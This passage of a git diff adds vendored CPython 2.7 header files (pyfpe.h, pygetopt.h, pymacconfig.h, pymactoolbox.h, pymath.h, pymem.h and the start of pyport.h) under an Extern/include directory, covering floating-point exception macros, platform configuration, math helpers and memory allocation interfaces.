Government nor the University of California nor any of their em- | + | ployees, makes any warranty, express or implied, or assumes any | + | liability or responsibility for the accuracy, completeness, or | + | usefulness of any information, apparatus, product, or process | + | disclosed, or represents that its use would not infringe | + | privately-owned rights. Reference herein to any specific commer- | + | cial products, process, or service by trade name, trademark, | + | manufacturer, or otherwise, does not necessarily constitute or | + | imply its endorsement, recommendation, or favoring by the United | + | States Government or the University of California. The views and | + | opinions of authors expressed herein do not necessarily state or | + | reflect those of the United States Government or the University | + | of California, and shall not be used for advertising or product | + \ endorsement purposes. / + --------------------------------------------------------------------- +*/ + +/* + * Define macros for handling SIGFPE. + * Lee Busby, LLNL, November, 1996 + * busby1@llnl.gov + * + ********************************************* + * Overview of the system for handling SIGFPE: + * + * This file (Include/pyfpe.h) defines a couple of "wrapper" macros for + * insertion into your Python C code of choice. Their proper use is + * discussed below. The file Python/pyfpe.c defines a pair of global + * variables PyFPE_jbuf and PyFPE_counter which are used by the signal + * handler for SIGFPE to decide if a particular exception was protected + * by the macros. The signal handler itself, and code for enabling the + * generation of SIGFPE in the first place, is in a (new) Python module + * named fpectl. This module is standard in every respect. It can be loaded + * either statically or dynamically as you choose, and like any other + * Python module, has no effect until you import it. + * + * In the general case, there are three steps toward handling SIGFPE in any + * Python code: + * + * 1) Add the *_PROTECT macros to your C code as required to protect + * dangerous floating point sections. + * + * 2) Turn on the inclusion of the code by adding the ``--with-fpectl'' + * flag at the time you run configure. If the fpectl or other modules + * which use the *_PROTECT macros are to be dynamically loaded, be + * sure they are compiled with WANT_SIGFPE_HANDLER defined. + * + * 3) When python is built and running, import fpectl, and execute + * fpectl.turnon_sigfpe(). This sets up the signal handler and enables + * generation of SIGFPE whenever an exception occurs. From this point + * on, any properly trapped SIGFPE should result in the Python + * FloatingPointError exception. + * + * Step 1 has been done already for the Python kernel code, and should be + * done soon for the NumPy array package. Step 2 is usually done once at + * python install time. Python's behavior with respect to SIGFPE is not + * changed unless you also do step 3. Thus you can control this new + * facility at compile time, or run time, or both. + * + ******************************** + * Using the macros in your code: + * + * static PyObject *foobar(PyObject *self,PyObject *args) + * { + * .... + * PyFPE_START_PROTECT("Error in foobar", return 0) + * result = dangerous_op(somearg1, somearg2, ...); + * PyFPE_END_PROTECT(result) + * .... + * } + * + * If a floating point error occurs in dangerous_op, foobar returns 0 (NULL), + * after setting the associated value of the FloatingPointError exception to + * "Error in foobar". ``Dangerous_op'' can be a single operation, or a block + * of code, function calls, or any combination, so long as no alternate + * return is possible before the PyFPE_END_PROTECT macro is reached. + * + * The macros can only be used in a function context where an error return + * can be recognized as signaling a Python exception. (Generally, most + * functions that return a PyObject * will qualify.) + * + * Guido's original design suggestion for PyFPE_START_PROTECT and + * PyFPE_END_PROTECT had them open and close a local block, with a locally + * defined jmp_buf and jmp_buf pointer. This would allow recursive nesting + * of the macros. The Ansi C standard makes it clear that such local + * variables need to be declared with the "volatile" type qualifier to keep + * setjmp from corrupting their values. Some current implementations seem + * to be more restrictive. For example, the HPUX man page for setjmp says + * + * Upon the return from a setjmp() call caused by a longjmp(), the + * values of any non-static local variables belonging to the routine + * from which setjmp() was called are undefined. Code which depends on + * such values is not guaranteed to be portable. + * + * I therefore decided on a more limited form of nesting, using a counter + * variable (PyFPE_counter) to keep track of any recursion. If an exception + * occurs in an ``inner'' pair of macros, the return will apparently + * come from the outermost level. + * + */ + +#ifdef WANT_SIGFPE_HANDLER +#include +#include +#include +extern jmp_buf PyFPE_jbuf; +extern int PyFPE_counter; +extern double PyFPE_dummy(void *); + +#define PyFPE_START_PROTECT(err_string, leave_stmt) \ +if (!PyFPE_counter++ && setjmp(PyFPE_jbuf)) { \ + PyErr_SetString(PyExc_FloatingPointError, err_string); \ + PyFPE_counter = 0; \ + leave_stmt; \ +} + +/* + * This (following) is a heck of a way to decrement a counter. However, + * unless the macro argument is provided, code optimizers will sometimes move + * this statement so that it gets executed *before* the unsafe expression + * which we're trying to protect. That pretty well messes things up, + * of course. + * + * If the expression(s) you're trying to protect don't happen to return a + * value, you will need to manufacture a dummy result just to preserve the + * correct ordering of statements. Note that the macro passes the address + * of its argument (so you need to give it something which is addressable). + * If your expression returns multiple results, pass the last such result + * to PyFPE_END_PROTECT. + * + * Note that PyFPE_dummy returns a double, which is cast to int. + * This seeming insanity is to tickle the Floating Point Unit (FPU). + * If an exception has occurred in a preceding floating point operation, + * some architectures (notably Intel 80x86) will not deliver the interrupt + * until the *next* floating point operation. This is painful if you've + * already decremented PyFPE_counter. + */ +#define PyFPE_END_PROTECT(v) PyFPE_counter -= (int)PyFPE_dummy(&(v)); + +#else + +#define PyFPE_START_PROTECT(err_string, leave_stmt) +#define PyFPE_END_PROTECT(v) + +#endif + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PYFPE_H */ diff --git a/Extern/include/Python27/pygetopt.h b/Extern/include/Python27/pygetopt.h new file mode 100644 index 0000000..80908be --- /dev/null +++ b/Extern/include/Python27/pygetopt.h @@ -0,0 +1,17 @@ + +#ifndef Py_PYGETOPT_H +#define Py_PYGETOPT_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(int) _PyOS_opterr; +PyAPI_DATA(int) _PyOS_optind; +PyAPI_DATA(char *) _PyOS_optarg; + +PyAPI_FUNC(int) _PyOS_GetOpt(int argc, char **argv, char *optstring); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PYGETOPT_H */ diff --git a/Extern/include/Python27/pymacconfig.h b/Extern/include/Python27/pymacconfig.h new file mode 100644 index 0000000..6d4a971 --- /dev/null +++ b/Extern/include/Python27/pymacconfig.h @@ -0,0 +1,102 @@ +#ifndef PYMACCONFIG_H +#define PYMACCONFIG_H + /* + * This file moves some of the autoconf magic to compile-time + * when building on MacOSX. This is needed for building 4-way + * universal binaries and for 64-bit universal binaries because + * the values redefined below aren't configure-time constant but + * only compile-time constant in these scenarios. + */ + +#if defined(__APPLE__) + +# undef SIZEOF_LONG +# undef SIZEOF_PTHREAD_T +# undef SIZEOF_SIZE_T +# undef SIZEOF_TIME_T +# undef SIZEOF_VOID_P +# undef SIZEOF__BOOL +# undef SIZEOF_UINTPTR_T +# undef SIZEOF_PTHREAD_T +# undef WORDS_BIGENDIAN +# undef DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754 +# undef DOUBLE_IS_BIG_ENDIAN_IEEE754 +# undef DOUBLE_IS_LITTLE_ENDIAN_IEEE754 +# undef HAVE_GCC_ASM_FOR_X87 + +# undef VA_LIST_IS_ARRAY +# if defined(__LP64__) && defined(__x86_64__) +# define VA_LIST_IS_ARRAY 1 +# endif + +# undef HAVE_LARGEFILE_SUPPORT +# ifndef __LP64__ +# define HAVE_LARGEFILE_SUPPORT 1 +# endif + +# undef SIZEOF_LONG +# ifdef __LP64__ +# define SIZEOF__BOOL 1 +# define SIZEOF__BOOL 1 +# define SIZEOF_LONG 8 +# define SIZEOF_PTHREAD_T 8 +# define SIZEOF_SIZE_T 8 +# define SIZEOF_TIME_T 8 +# define SIZEOF_VOID_P 8 +# define SIZEOF_UINTPTR_T 8 +# define SIZEOF_PTHREAD_T 8 +# else +# ifdef __ppc__ +# define SIZEOF__BOOL 4 +# else +# define SIZEOF__BOOL 1 +# endif +# define SIZEOF_LONG 4 +# define SIZEOF_PTHREAD_T 4 +# define SIZEOF_SIZE_T 4 +# define SIZEOF_TIME_T 4 +# define SIZEOF_VOID_P 4 +# define SIZEOF_UINTPTR_T 4 +# define SIZEOF_PTHREAD_T 4 +# endif + +# if defined(__LP64__) + /* MacOSX 10.4 (the first release to suppport 64-bit code + * at all) only supports 64-bit in the UNIX layer. + * Therefore surpress the toolbox-glue in 64-bit mode. + */ + + /* In 64-bit mode setpgrp always has no argments, in 32-bit + * mode that depends on the compilation environment + */ +# undef SETPGRP_HAVE_ARG + +# endif + +#ifdef __BIG_ENDIAN__ +#define WORDS_BIGENDIAN 1 +#define DOUBLE_IS_BIG_ENDIAN_IEEE754 +#else +#define DOUBLE_IS_LITTLE_ENDIAN_IEEE754 +#endif /* __BIG_ENDIAN */ + +#ifdef __i386__ +# define HAVE_GCC_ASM_FOR_X87 +#endif + + /* + * The definition in pyconfig.h is only valid on the OS release + * where configure ran on and not necessarily for all systems where + * the executable can be used on. + * + * Specifically: OSX 10.4 has limited supported for '%zd', while + * 10.5 has full support for '%zd'. A binary built on 10.5 won't + * work properly on 10.4 unless we surpress the definition + * of PY_FORMAT_SIZE_T + */ +#undef PY_FORMAT_SIZE_T + + +#endif /* defined(_APPLE__) */ + +#endif /* PYMACCONFIG_H */ diff --git a/Extern/include/Python27/pymactoolbox.h b/Extern/include/Python27/pymactoolbox.h new file mode 100644 index 0000000..fd15975 --- /dev/null +++ b/Extern/include/Python27/pymactoolbox.h @@ -0,0 +1,217 @@ +/* +** pymactoolbox.h - globals defined in mactoolboxglue.c +*/ +#ifndef Py_PYMACTOOLBOX_H +#define Py_PYMACTOOLBOX_H +#ifdef __cplusplus + extern "C" { +#endif + +#include + +#ifndef __LP64__ +#include +#endif /* !__LP64__ */ + +/* +** Helper routines for error codes and such. +*/ +char *PyMac_StrError(int); /* strerror with mac errors */ +extern PyObject *PyMac_OSErrException; /* Exception for OSErr */ +PyObject *PyMac_GetOSErrException(void); /* Initialize & return it */ +PyObject *PyErr_Mac(PyObject *, int); /* Exception with a mac error */ +PyObject *PyMac_Error(OSErr); /* Uses PyMac_GetOSErrException */ +#ifndef __LP64__ +extern OSErr PyMac_GetFullPathname(FSSpec *, char *, int); /* convert + fsspec->path */ +#endif /* __LP64__ */ + +/* +** These conversion routines are defined in mactoolboxglue.c itself. +*/ +int PyMac_GetOSType(PyObject *, OSType *); /* argument parser for OSType */ +PyObject *PyMac_BuildOSType(OSType); /* Convert OSType to PyObject */ + +PyObject *PyMac_BuildNumVersion(NumVersion);/* Convert NumVersion to PyObject */ + +int PyMac_GetStr255(PyObject *, Str255); /* argument parser for Str255 */ +PyObject *PyMac_BuildStr255(Str255); /* Convert Str255 to PyObject */ +PyObject *PyMac_BuildOptStr255(Str255); /* Convert Str255 to PyObject, + NULL to None */ + +int PyMac_GetRect(PyObject *, Rect *); /* argument parser for Rect */ +PyObject *PyMac_BuildRect(Rect *); /* Convert Rect to PyObject */ + +int PyMac_GetPoint(PyObject *, Point *); /* argument parser for Point */ +PyObject *PyMac_BuildPoint(Point); /* Convert Point to PyObject */ + +int PyMac_GetEventRecord(PyObject *, EventRecord *); /* argument parser for + EventRecord */ +PyObject *PyMac_BuildEventRecord(EventRecord *); /* Convert EventRecord to + PyObject */ + +int PyMac_GetFixed(PyObject *, Fixed *); /* argument parser for Fixed */ +PyObject *PyMac_BuildFixed(Fixed); /* Convert Fixed to PyObject */ +int PyMac_Getwide(PyObject *, wide *); /* argument parser for wide */ +PyObject *PyMac_Buildwide(wide *); /* Convert wide to PyObject */ + +/* +** The rest of the routines are implemented by extension modules. If they are +** dynamically loaded mactoolboxglue will contain a stub implementation of the +** routine, which imports the module, whereupon the module's init routine will +** communicate the routine pointer back to the stub. +** If USE_TOOLBOX_OBJECT_GLUE is not defined there is no glue code, and the +** extension modules simply declare the routine. This is the case for static +** builds (and could be the case for MacPython CFM builds, because CFM extension +** modules can reference each other without problems). +*/ + +#ifdef USE_TOOLBOX_OBJECT_GLUE +/* +** These macros are used in the module init code. If we use toolbox object glue +** it sets the function pointer to point to the real function. +*/ +#define PyMac_INIT_TOOLBOX_OBJECT_NEW(object, rtn) { \ + extern PyObject *(*PyMacGluePtr_##rtn)(object); \ + PyMacGluePtr_##rtn = _##rtn; \ +} +#define PyMac_INIT_TOOLBOX_OBJECT_CONVERT(object, rtn) { \ + extern int (*PyMacGluePtr_##rtn)(PyObject *, object *); \ + PyMacGluePtr_##rtn = _##rtn; \ +} +#else +/* +** If we don't use toolbox object glue the init macros are empty. Moreover, we define +** _xxx_New to be the same as xxx_New, and the code in mactoolboxglue isn't included. +*/ +#define PyMac_INIT_TOOLBOX_OBJECT_NEW(object, rtn) +#define PyMac_INIT_TOOLBOX_OBJECT_CONVERT(object, rtn) +#endif /* USE_TOOLBOX_OBJECT_GLUE */ + +/* macfs exports */ +#ifndef __LP64__ +int PyMac_GetFSSpec(PyObject *, FSSpec *); /* argument parser for FSSpec */ +PyObject *PyMac_BuildFSSpec(FSSpec *); /* Convert FSSpec to PyObject */ +#endif /* !__LP64__ */ + +int PyMac_GetFSRef(PyObject *, FSRef *); /* argument parser for FSRef */ +PyObject *PyMac_BuildFSRef(FSRef *); /* Convert FSRef to PyObject */ + +/* AE exports */ +extern PyObject *AEDesc_New(AppleEvent *); /* XXXX Why passed by address?? */ +extern PyObject *AEDesc_NewBorrowed(AppleEvent *); +extern int AEDesc_Convert(PyObject *, AppleEvent *); + +/* Cm exports */ +extern PyObject *CmpObj_New(Component); +extern int CmpObj_Convert(PyObject *, Component *); +extern PyObject *CmpInstObj_New(ComponentInstance); +extern int CmpInstObj_Convert(PyObject *, ComponentInstance *); + +/* Ctl exports */ +#ifndef __LP64__ +extern PyObject *CtlObj_New(ControlHandle); +extern int CtlObj_Convert(PyObject *, ControlHandle *); +#endif /* !__LP64__ */ + +/* Dlg exports */ +#ifndef __LP64__ +extern PyObject *DlgObj_New(DialogPtr); +extern int DlgObj_Convert(PyObject *, DialogPtr *); +extern PyObject *DlgObj_WhichDialog(DialogPtr); +#endif /* !__LP64__ */ + +/* Drag exports */ +#ifndef __LP64__ +extern PyObject *DragObj_New(DragReference); +extern int DragObj_Convert(PyObject *, DragReference *); +#endif /* !__LP64__ */ + +/* List exports */ +#ifndef __LP64__ +extern PyObject *ListObj_New(ListHandle); +extern int ListObj_Convert(PyObject *, ListHandle *); +#endif /* !__LP64__ */ + +/* Menu exports */ +#ifndef __LP64__ +extern PyObject *MenuObj_New(MenuHandle); +extern int MenuObj_Convert(PyObject *, MenuHandle *); +#endif /* !__LP64__ */ + +/* Qd exports */ +#ifndef __LP64__ +extern PyObject *GrafObj_New(GrafPtr); +extern int GrafObj_Convert(PyObject *, GrafPtr *); +extern PyObject *BMObj_New(BitMapPtr); +extern int BMObj_Convert(PyObject *, BitMapPtr *); +extern PyObject *QdRGB_New(RGBColor *); +extern int QdRGB_Convert(PyObject *, RGBColor *); +#endif /* !__LP64__ */ + +/* Qdoffs exports */ +#ifndef __LP64__ +extern PyObject *GWorldObj_New(GWorldPtr); +extern int GWorldObj_Convert(PyObject *, GWorldPtr *); +#endif /* !__LP64__ */ + +/* Qt exports */ +#ifndef __LP64__ +extern PyObject *TrackObj_New(Track); +extern int TrackObj_Convert(PyObject *, Track *); +extern PyObject *MovieObj_New(Movie); +extern int MovieObj_Convert(PyObject *, Movie *); +extern PyObject *MovieCtlObj_New(MovieController); +extern int MovieCtlObj_Convert(PyObject *, MovieController *); +extern PyObject *TimeBaseObj_New(TimeBase); +extern int TimeBaseObj_Convert(PyObject *, TimeBase *); +extern PyObject *UserDataObj_New(UserData); +extern int UserDataObj_Convert(PyObject *, UserData *); +extern PyObject *MediaObj_New(Media); +extern int MediaObj_Convert(PyObject *, Media *); +#endif /* !__LP64__ */ + +/* Res exports */ +extern PyObject *ResObj_New(Handle); +extern int ResObj_Convert(PyObject *, Handle *); +extern PyObject *OptResObj_New(Handle); +extern int OptResObj_Convert(PyObject *, Handle *); + +/* TE exports */ +#ifndef __LP64__ +extern PyObject *TEObj_New(TEHandle); +extern int TEObj_Convert(PyObject *, TEHandle *); +#endif /* !__LP64__ */ + +/* Win exports */ +#ifndef __LP64__ +extern PyObject *WinObj_New(WindowPtr); +extern int WinObj_Convert(PyObject *, WindowPtr *); +extern PyObject *WinObj_WhichWindow(WindowPtr); +#endif /* !__LP64__ */ + +/* CF exports */ +extern PyObject *CFObj_New(CFTypeRef); +extern int CFObj_Convert(PyObject *, CFTypeRef *); +extern PyObject *CFTypeRefObj_New(CFTypeRef); +extern int CFTypeRefObj_Convert(PyObject *, CFTypeRef *); +extern PyObject *CFStringRefObj_New(CFStringRef); +extern int CFStringRefObj_Convert(PyObject *, CFStringRef *); +extern PyObject *CFMutableStringRefObj_New(CFMutableStringRef); +extern int CFMutableStringRefObj_Convert(PyObject *, CFMutableStringRef *); +extern PyObject *CFArrayRefObj_New(CFArrayRef); +extern int CFArrayRefObj_Convert(PyObject *, CFArrayRef *); +extern PyObject *CFMutableArrayRefObj_New(CFMutableArrayRef); +extern int CFMutableArrayRefObj_Convert(PyObject *, CFMutableArrayRef *); +extern PyObject *CFDictionaryRefObj_New(CFDictionaryRef); +extern int CFDictionaryRefObj_Convert(PyObject *, CFDictionaryRef *); +extern PyObject *CFMutableDictionaryRefObj_New(CFMutableDictionaryRef); +extern int CFMutableDictionaryRefObj_Convert(PyObject *, CFMutableDictionaryRef *); +extern PyObject *CFURLRefObj_New(CFURLRef); +extern int CFURLRefObj_Convert(PyObject *, CFURLRef *); +extern int OptionalCFURLRefObj_Convert(PyObject *, CFURLRef *); + +#ifdef __cplusplus + } +#endif +#endif diff --git a/Extern/include/Python27/pymath.h b/Extern/include/Python27/pymath.h new file mode 100644 index 0000000..e3cf22b --- /dev/null +++ b/Extern/include/Python27/pymath.h @@ -0,0 +1,192 @@ +#ifndef Py_PYMATH_H +#define Py_PYMATH_H + +#include "pyconfig.h" /* include for defines */ + +/************************************************************************** +Symbols and macros to supply platform-independent interfaces to mathematical +functions and constants +**************************************************************************/ + +/* Python provides implementations for copysign, round and hypot in + * Python/pymath.c just in case your math library doesn't provide the + * functions. + * + *Note: PC/pyconfig.h defines copysign as _copysign + */ +#ifndef HAVE_COPYSIGN +extern double copysign(double, double); +#endif + +#ifndef HAVE_ROUND +extern double round(double); +#endif + +#ifndef HAVE_HYPOT +extern double hypot(double, double); +#endif + +/* extra declarations */ +#ifndef _MSC_VER +#ifndef __STDC__ +extern double fmod (double, double); +extern double frexp (double, int *); +extern double ldexp (double, int); +extern double modf (double, double *); +extern double pow(double, double); +#endif /* __STDC__ */ +#endif /* _MSC_VER */ + +#ifdef _OSF_SOURCE +/* OSF1 5.1 doesn't make these available with XOPEN_SOURCE_EXTENDED defined */ +extern int finite(double); +extern double copysign(double, double); +#endif + +/* High precision defintion of pi and e (Euler) + * The values are taken from libc6's math.h. + */ +#ifndef Py_MATH_PIl +#define Py_MATH_PIl 3.1415926535897932384626433832795029L +#endif +#ifndef Py_MATH_PI +#define Py_MATH_PI 3.14159265358979323846 +#endif + +#ifndef Py_MATH_El +#define Py_MATH_El 2.7182818284590452353602874713526625L +#endif + +#ifndef Py_MATH_E +#define Py_MATH_E 2.7182818284590452354 +#endif + +/* On x86, Py_FORCE_DOUBLE forces a floating-point number out of an x87 FPU + register and into a 64-bit memory location, rounding from extended + precision to double precision in the process. On other platforms it does + nothing. */ + +/* we take double rounding as evidence of x87 usage */ +#ifndef Py_FORCE_DOUBLE +# ifdef X87_DOUBLE_ROUNDING +PyAPI_FUNC(double) _Py_force_double(double); +# define Py_FORCE_DOUBLE(X) (_Py_force_double(X)) +# else +# define Py_FORCE_DOUBLE(X) (X) +# endif +#endif + +#ifdef HAVE_GCC_ASM_FOR_X87 +PyAPI_FUNC(unsigned short) _Py_get_387controlword(void); +PyAPI_FUNC(void) _Py_set_387controlword(unsigned short); +#endif + +/* Py_IS_NAN(X) + * Return 1 if float or double arg is a NaN, else 0. + * Caution: + * X is evaluated more than once. + * This may not work on all platforms. Each platform has *some* + * way to spell this, though -- override in pyconfig.h if you have + * a platform where it doesn't work. + * Note: PC/pyconfig.h defines Py_IS_NAN as _isnan + */ +#ifndef Py_IS_NAN +#if defined HAVE_DECL_ISNAN && HAVE_DECL_ISNAN == 1 +#define Py_IS_NAN(X) isnan(X) +#else +#define Py_IS_NAN(X) ((X) != (X)) +#endif +#endif + +/* Py_IS_INFINITY(X) + * Return 1 if float or double arg is an infinity, else 0. + * Caution: + * X is evaluated more than once. + * This implementation may set the underflow flag if |X| is very small; + * it really can't be implemented correctly (& easily) before C99. + * Override in pyconfig.h if you have a better spelling on your platform. + * Py_FORCE_DOUBLE is used to avoid getting false negatives from a + * non-infinite value v sitting in an 80-bit x87 register such that + * v becomes infinite when spilled from the register to 64-bit memory. + * Note: PC/pyconfig.h defines Py_IS_INFINITY as _isinf + */ +#ifndef Py_IS_INFINITY +# if defined HAVE_DECL_ISINF && HAVE_DECL_ISINF == 1 +# define Py_IS_INFINITY(X) isinf(X) +# else +# define Py_IS_INFINITY(X) ((X) && \ + (Py_FORCE_DOUBLE(X)*0.5 == Py_FORCE_DOUBLE(X))) +# endif +#endif + +/* Py_IS_FINITE(X) + * Return 1 if float or double arg is neither infinite nor NAN, else 0. + * Some compilers (e.g. VisualStudio) have intrisics for this, so a special + * macro for this particular test is useful + * Note: PC/pyconfig.h defines Py_IS_FINITE as _finite + */ +#ifndef Py_IS_FINITE +#if defined HAVE_DECL_ISFINITE && HAVE_DECL_ISFINITE == 1 +#define Py_IS_FINITE(X) isfinite(X) +#elif defined HAVE_FINITE +#define Py_IS_FINITE(X) finite(X) +#else +#define Py_IS_FINITE(X) (!Py_IS_INFINITY(X) && !Py_IS_NAN(X)) +#endif +#endif + +/* HUGE_VAL is supposed to expand to a positive double infinity. Python + * uses Py_HUGE_VAL instead because some platforms are broken in this + * respect. We used to embed code in pyport.h to try to worm around that, + * but different platforms are broken in conflicting ways. If you're on + * a platform where HUGE_VAL is defined incorrectly, fiddle your Python + * config to #define Py_HUGE_VAL to something that works on your platform. + */ +#ifndef Py_HUGE_VAL +#define Py_HUGE_VAL HUGE_VAL +#endif + +/* Py_NAN + * A value that evaluates to a NaN. On IEEE 754 platforms INF*0 or + * INF/INF works. Define Py_NO_NAN in pyconfig.h if your platform + * doesn't support NaNs. + */ +#if !defined(Py_NAN) && !defined(Py_NO_NAN) +#define Py_NAN (Py_HUGE_VAL * 0.) +#endif + +/* Py_OVERFLOWED(X) + * Return 1 iff a libm function overflowed. Set errno to 0 before calling + * a libm function, and invoke this macro after, passing the function + * result. + * Caution: + * This isn't reliable. C99 no longer requires libm to set errno under + * any exceptional condition, but does require +- HUGE_VAL return + * values on overflow. A 754 box *probably* maps HUGE_VAL to a + * double infinity, and we're cool if that's so, unless the input + * was an infinity and an infinity is the expected result. A C89 + * system sets errno to ERANGE, so we check for that too. We're + * out of luck if a C99 754 box doesn't map HUGE_VAL to +Inf, or + * if the returned result is a NaN, or if a C89 box returns HUGE_VAL + * in non-overflow cases. + * X is evaluated more than once. + * Some platforms have better way to spell this, so expect some #ifdef'ery. + * + * OpenBSD uses 'isinf()' because a compiler bug on that platform causes + * the longer macro version to be mis-compiled. This isn't optimal, and + * should be removed once a newer compiler is available on that platform. + * The system that had the failure was running OpenBSD 3.2 on Intel, with + * gcc 2.95.3. + * + * According to Tim's checkin, the FreeBSD systems use isinf() to work + * around a FPE bug on that platform. + */ +#if defined(__FreeBSD__) || defined(__OpenBSD__) +#define Py_OVERFLOWED(X) isinf(X) +#else +#define Py_OVERFLOWED(X) ((X) != 0.0 && (errno == ERANGE || \ + (X) == Py_HUGE_VAL || \ + (X) == -Py_HUGE_VAL)) +#endif + +#endif /* Py_PYMATH_H */ diff --git a/Extern/include/Python27/pymem.h b/Extern/include/Python27/pymem.h new file mode 100644 index 0000000..10b5bea --- /dev/null +++ b/Extern/include/Python27/pymem.h @@ -0,0 +1,122 @@ +/* The PyMem_ family: low-level memory allocation interfaces. + See objimpl.h for the PyObject_ memory family. +*/ + +#ifndef Py_PYMEM_H +#define Py_PYMEM_H + +#include "pyport.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* BEWARE: + + Each interface exports both functions and macros. Extension modules should + use the functions, to ensure binary compatibility across Python versions. + Because the Python implementation is free to change internal details, and + the macros may (or may not) expose details for speed, if you do use the + macros you must recompile your extensions with each Python release. + + Never mix calls to PyMem_ with calls to the platform malloc/realloc/ + calloc/free. For example, on Windows different DLLs may end up using + different heaps, and if you use PyMem_Malloc you'll get the memory from the + heap used by the Python DLL; it could be a disaster if you free()'ed that + directly in your own extension. Using PyMem_Free instead ensures Python + can return the memory to the proper heap. As another example, in + PYMALLOC_DEBUG mode, Python wraps all calls to all PyMem_ and PyObject_ + memory functions in special debugging wrappers that add additional + debugging info to dynamic memory blocks. The system routines have no idea + what to do with that stuff, and the Python wrappers have no idea what to do + with raw blocks obtained directly by the system routines then. + + The GIL must be held when using these APIs. +*/ + +/* + * Raw memory interface + * ==================== + */ + +/* Functions + + Functions supplying platform-independent semantics for malloc/realloc/ + free. These functions make sure that allocating 0 bytes returns a distinct + non-NULL pointer (whenever possible -- if we're flat out of memory, NULL + may be returned), even if the platform malloc and realloc don't. + Returned pointers must be checked for NULL explicitly. No action is + performed on failure (no exception is set, no warning is printed, etc). +*/ + +PyAPI_FUNC(void *) PyMem_Malloc(size_t); +PyAPI_FUNC(void *) PyMem_Realloc(void *, size_t); +PyAPI_FUNC(void) PyMem_Free(void *); + +/* Starting from Python 1.6, the wrappers Py_{Malloc,Realloc,Free} are + no longer supported. They used to call PyErr_NoMemory() on failure. */ + +/* Macros. */ +#ifdef PYMALLOC_DEBUG +/* Redirect all memory operations to Python's debugging allocator. */ +#define PyMem_MALLOC _PyMem_DebugMalloc +#define PyMem_REALLOC _PyMem_DebugRealloc +#define PyMem_FREE _PyMem_DebugFree + +#else /* ! PYMALLOC_DEBUG */ + +/* PyMem_MALLOC(0) means malloc(1). Some systems would return NULL + for malloc(0), which would be treated as an error. Some platforms + would return a pointer with no memory behind it, which would break + pymalloc. To solve these problems, allocate an extra byte. */ +/* Returns NULL to indicate error if a negative size or size larger than + Py_ssize_t can represent is supplied. Helps prevents security holes. */ +#define PyMem_MALLOC(n) ((size_t)(n) > (size_t)PY_SSIZE_T_MAX ? NULL \ + : malloc((n) ? (n) : 1)) +#define PyMem_REALLOC(p, n) ((size_t)(n) > (size_t)PY_SSIZE_T_MAX ? NULL \ + : realloc((p), (n) ? (n) : 1)) +#define PyMem_FREE free + +#endif /* PYMALLOC_DEBUG */ + +/* + * Type-oriented memory interface + * ============================== + * + * Allocate memory for n objects of the given type. Returns a new pointer + * or NULL if the request was too large or memory allocation failed. Use + * these macros rather than doing the multiplication yourself so that proper + * overflow checking is always done. + */ + +#define PyMem_New(type, n) \ + ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ + ( (type *) PyMem_Malloc((n) * sizeof(type)) ) ) +#define PyMem_NEW(type, n) \ + ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ + ( (type *) PyMem_MALLOC((n) * sizeof(type)) ) ) + +/* + * The value of (p) is always clobbered by this macro regardless of success. + * The caller MUST check if (p) is NULL afterwards and deal with the memory + * error if so. This means the original value of (p) MUST be saved for the + * caller's memory error handler to not lose track of it. + */ +#define PyMem_Resize(p, type, n) \ + ( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ + (type *) PyMem_Realloc((p), (n) * sizeof(type)) ) +#define PyMem_RESIZE(p, type, n) \ + ( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ + (type *) PyMem_REALLOC((p), (n) * sizeof(type)) ) + +/* PyMem{Del,DEL} are left over from ancient days, and shouldn't be used + * anymore. They're just confusing aliases for PyMem_{Free,FREE} now. + */ +#define PyMem_Del PyMem_Free +#define PyMem_DEL PyMem_FREE + +#ifdef __cplusplus +} +#endif + +#endif /* !Py_PYMEM_H */ diff --git a/Extern/include/Python27/pyport.h b/Extern/include/Python27/pyport.h new file mode 100644 index 0000000..7c2dab0 --- /dev/null +++ b/Extern/include/Python27/pyport.h @@ -0,0 +1,903 @@ +#ifndef Py_PYPORT_H +#define Py_PYPORT_H + +#include "pyconfig.h" /* include for defines */ + +/* Some versions of HP-UX & Solaris need inttypes.h for int32_t, + INT32_MAX, etc. */ +#ifdef HAVE_INTTYPES_H +#include +#endif + +#ifdef HAVE_STDINT_H +#include +#endif + +/************************************************************************** +Symbols and macros to supply platform-independent interfaces to basic +C language & library operations whose spellings vary across platforms. + +Please try to make documentation here as clear as possible: by definition, +the stuff here is trying to illuminate C's darkest corners. + +Config #defines referenced here: + +SIGNED_RIGHT_SHIFT_ZERO_FILLS +Meaning: To be defined iff i>>j does not extend the sign bit when i is a + signed integral type and i < 0. +Used in: Py_ARITHMETIC_RIGHT_SHIFT + +Py_DEBUG +Meaning: Extra checks compiled in for debug mode. +Used in: Py_SAFE_DOWNCAST + +HAVE_UINTPTR_T +Meaning: The C9X type uintptr_t is supported by the compiler +Used in: Py_uintptr_t + +HAVE_LONG_LONG +Meaning: The compiler supports the C type "long long" +Used in: PY_LONG_LONG + +**************************************************************************/ + + +/* For backward compatibility only. Obsolete, do not use. */ +#ifdef HAVE_PROTOTYPES +#define Py_PROTO(x) x +#else +#define Py_PROTO(x) () +#endif +#ifndef Py_FPROTO +#define Py_FPROTO(x) Py_PROTO(x) +#endif + +/* typedefs for some C9X-defined synonyms for integral types. + * + * The names in Python are exactly the same as the C9X names, except with a + * Py_ prefix. Until C9X is universally implemented, this is the only way + * to ensure that Python gets reliable names that don't conflict with names + * in non-Python code that are playing their own tricks to define the C9X + * names. + * + * NOTE: don't go nuts here! Python has no use for *most* of the C9X + * integral synonyms. Only define the ones we actually need. + */ + +#ifdef HAVE_LONG_LONG +#ifndef PY_LONG_LONG +#define PY_LONG_LONG long long +#if defined(LLONG_MAX) +/* If LLONG_MAX is defined in limits.h, use that. */ +#define PY_LLONG_MIN LLONG_MIN +#define PY_LLONG_MAX LLONG_MAX +#define PY_ULLONG_MAX ULLONG_MAX +#elif defined(__LONG_LONG_MAX__) +/* Otherwise, if GCC has a builtin define, use that. */ +#define PY_LLONG_MAX __LONG_LONG_MAX__ +#define PY_LLONG_MIN 